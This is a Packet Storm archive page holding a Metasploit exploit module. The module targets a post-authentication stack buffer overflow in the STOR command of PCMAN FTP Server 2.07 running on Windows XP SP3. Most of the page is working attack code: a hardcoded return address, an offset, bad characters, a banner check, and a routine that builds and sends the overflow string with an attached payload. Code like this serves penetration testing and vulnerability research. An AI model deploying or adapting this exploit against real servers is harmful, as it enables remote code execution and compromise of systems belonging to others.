what you don't know can hurt you

PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow

PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
Posted Sep 20, 2013
Authored by Rick Flores, Polunchis | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability found in the STOR command of the PCMAN FTP version 2.07 server when the "/../" parameters are also sent to the server. Please note authentication is required in order to trigger the vulnerability. The overflowing string will also be seen on the FTP server log console.

tags | exploit, overflow
advisories | OSVDB-94624
MD5 | 5d926943a6c8b1e98a988d529e12ccb1

PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the STOR command of the
PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
note authentication is required in order to trigger the vulnerability. The overflowing
string will also be seen on the FTP server log console.
},
'Author' =>
[
'Christian (Polunchis) Ramirez', # Initial Discovery
'Rick (nanotechz9l) Flores' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94624'],
[ 'EDB', '27703']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'VERBOSE' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English',
{
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
'Offset' => 2011
}
],
],
'DisclosureDate' => 'Jun 27 2013',
'DefaultTarget' => 0))
end

def check
c = connect_login
disconnect

if c and banner =~ /220 PCMan's FTP Server 2\.0/
# Auth is required to exploit
print_status("Able to authenticate, and banner shows the vulnerable version")
return Exploit::CheckCode::Vulnerable
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
print_status("Unable to authenticate, but banner shows the vulnerable version")
# Auth failed, but based on version maybe the target is vulnerable
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end


def exploit
c = connect_login

# Auth failed. The mixin should show the error, so we just bail.
return unless c

# Username is part of the overflowing string, so we need to account for that length
user_length = datastore['FTPUSER'].to_s.length

print_status("Trying victim #{target.name}...")
sploit = rand_text_alpha(target['Offset'] - user_length)
sploit << [target.ret].pack('V')
sploit << make_nops(4)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)

send_cmd( ["STOR", "/../" + sploit], false )
disconnect
end

end
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close